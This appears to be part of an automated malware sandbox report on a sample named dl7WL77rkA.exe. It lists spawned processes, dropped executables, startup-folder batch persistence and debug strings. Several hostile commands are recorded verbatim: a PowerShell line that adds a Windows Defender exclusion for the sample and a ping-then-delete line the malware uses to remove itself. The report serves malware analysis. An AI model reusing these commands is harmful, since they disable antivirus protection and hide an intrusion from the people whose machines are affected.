Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe "C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe "C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe "C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe "C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe "C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\nxFajWDYSB3pQQxmrqt3pD1T.exe "C:\Users\user\Pictures\nxFajWDYSB3pQQxmrqt3pD1T.exe"
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Process created: C:\Users\user\AppData\Local\Temp\wfplwfs.exe C:\Users\user\AppData\Local\Temp\wfplwfs.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe "C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe "C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe "C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\65bl5N8ldxUdfHpwZdasCC1T.exe "C:\Users\user\Pictures\65bl5N8ldxUdfHpwZdasCC1T.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\LEGkdjk2eFexBjdd51KvbC5Q.exe "C:\Users\user\Pictures\LEGkdjk2eFexBjdd51KvbC5Q.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe "C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe"
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe "C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe "C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe "C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe "C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\gIvDEh2BZp9B1K9gi8nXHxAG.exe "C:\Users\user\Pictures\gIvDEh2BZp9B1K9gi8nXHxAG.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe "C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe"
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\wfplwfs.exe C:\Users\user\AppData\Local\Temp\wfplwfs.exe
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://hentaitoonami.com/
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2216,i,3713958764592762144,12864230647668828489,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6V1VrzZlnckbDLDx3vI2CQTI.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Process created: C:\Users\user\AppData\Local\Temp\BroomSetup.exe C:\Users\user\AppData\Local\Temp\BroomSetup.exe
Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\6V1VrzZlnckbDLDx3vI2CQTI.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Pictures\gIvDEh2BZp9B1K9gi8nXHxAG.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\dl7WL77rkA.exe" -Force	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Jump to behavior
Source: C:\Users\user\Desktop\dl7WL77rkA.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe "C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe "C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe "C:\Users\user\Pictures\3BiVM2uOsvGVXA1BoDorVuCU.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe "C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe "C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe "C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe "C:\Users\user\Pictures\BTnjKpTBDzKtQo69b5SrwYDx.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe "C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\nxFajWDYSB3pQQxmrqt3pD1T.exe "C:\Users\user\Pictures\nxFajWDYSB3pQQxmrqt3pD1T.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe "C:\Users\user\Pictures\yq7sRYx0zxf2nUHNI8myIvQb.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe "C:\Users\user\Pictures\yzAPe25HGnxqbkafYprXvqQ2.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe "C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\65bl5N8ldxUdfHpwZdasCC1T.exe "C:\Users\user\Pictures\65bl5N8ldxUdfHpwZdasCC1T.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\LEGkdjk2eFexBjdd51KvbC5Q.exe "C:\Users\user\Pictures\LEGkdjk2eFexBjdd51KvbC5Q.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe "C:\Users\user\Pictures\BitVM4h79HXjwHpz9WBgoxJI.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe "C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe "C:\Users\user\Pictures\RC2DCMOzLtOY3PfjMU0omeEi.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe "C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe "C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\gIvDEh2BZp9B1K9gi8nXHxAG.exe "C:\Users\user\Pictures\gIvDEh2BZp9B1K9gi8nXHxAG.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe "C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe"
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Process created: C:\Users\user\AppData\Local\Temp\wfplwfs.exe C:\Users\user\AppData\Local\Temp\wfplwfs.exe
Source: C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\user\Pictures\CGZL5y3D81OCbb2NABnHZhPM.exe"
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Process created: C:\Users\user\AppData\Local\Temp\syncUpd.exe C:\Users\user\AppData\Local\Temp\syncUpd.exe
Source: C:\Users\user\Pictures\kDgMkoNM3lKxwY8D8wOiP15F.exe	Process created: C:\Users\user\AppData\Local\Temp\BroomSetup.exe C:\Users\user\AppData\Local\Temp\BroomSetup.exe
Source: C:\Users\user\Pictures\VT4T5BrKWgz9d48cmEd8ePkZ.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\sUyDoVTGsfEnMY0oeyexTBut.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\VvPx7JMqkEvTJAQ2rPS2y2wf.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32.exe
Source: C:\Users\user\AppData\Local\Temp\wfplwfs.exe	Process created: C:\Windows\SysWOW64\rundll32.exe C:\Windows\system32\rundll32.exe
Source: C:\Users\user\Pictures\LP2uR8v5nKtflOO7HsEX74Am.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping 127.0.0.1 -n 3
Source: C:\Users\user\Pictures\YfSmDepXBWKsGmamEEWNYwB5.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\pxzTG78L668f3mDyeDkHXryr.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\MK1r6sTJJ0KuvAGWdjimbW8H.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\PM6qM9TthMxsL1RAWEhuUNLx.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2216,i,3713958764592762144,12864230647668828489,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\dl7WL77rkA.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: Google Drive.lnk.42.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.42.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.42.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.42.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.42.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.42.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: C:\Users\user\AppData\Local\Temp\BroomSetup.exe

Window found: window name: TButton

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\dl7WL77rkA.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Detected unpacking (changes PE section rights)

Source: dl7WL77rkA.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: C:\Users\user\AppData\Local\Temp\syncUpd.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: dl7WL77rkA.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source: dl7WL77rkA.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: Loader.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.00000000031E3000.00000040.00001000.00020000.00000000.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000843000.00000040.00000001.01000000.00000012.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000843000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003253000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003203000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000843000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000843000.00000040.00000001.01000000.00000011.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.00000000030F3000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: EfiGuardDxe.pdb7 source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3275239614.0000000001202000.00000040.00000020.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3187282898.0000000001170000.00000040.00000020.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3269213397.0000000001022000.00000040.00000020.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3245748971.000000000110C000.00000040.00000020.00020000.00000000.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3195890952.00000000010DF000.00000040.00000020.00020000.00000000.sdmp
Source:	Binary string: Unrecognized pdb formatThis error indicates attempting to access a .pdb file with source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: A connection with the server could not be establishedAn extended error was returned from the WinHttp serverThe .pdb file is probably no longer indexed in the symbol server share location. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Age does not matchThe module age and .pdb age do not match. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: symsrv.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000C7A000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.0000000003619000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000C7A000.00000040.00000001.01000000.0000000E.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.0000000003689000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.0000000003639000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000C7A000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.0000000003529000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000C7A000.00000040.00000001.01000000.00000011.sdmp
Source:	Binary string: Cvinfo is corruptThe .pdb file contains a corrupted debug codeview information. source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: Downloading symbols for [%s] %ssrvsymsrvhttp://https://_bad_pdb_file.pdb source: VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3182375526.0000000000ACD000.00000040.00000001.01000000.00000012.sdmp, VT4T5BrKWgz9d48cmEd8ePkZ.exe, 00000010.00000002.3306333274.000000000346C000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3216774766.00000000034DC000.00000040.00001000.00020000.00000000.sdmp, sUyDoVTGsfEnMY0oeyexTBut.exe, 00000011.00000002.3026570515.0000000000ACD000.00000040.00000001.01000000.0000000E.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3306276662.000000000348C000.00000040.00001000.00020000.00000000.sdmp, VvPx7JMqkEvTJAQ2rPS2y2wf.exe, 00000012.00000002.3183446408.0000000000ACD000.00000040.00000001.01000000.0000000F.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3275782158.000000000337C000.00000040.00001000.00020000.00000000.sdmp, MVwPLcOCrd7Zgqh1ZdkGUuVZ.exe, 00000014.00000002.3144948166.0000000000ACD000.00000040.00000001.01000000.00000011.sdmp, LP2uR8v5nKtflOO7HsEX74Am.exe, 00000019.00000002.3250452098.000000000354C000.00000040.00001000.00020000.00000000.sdmp
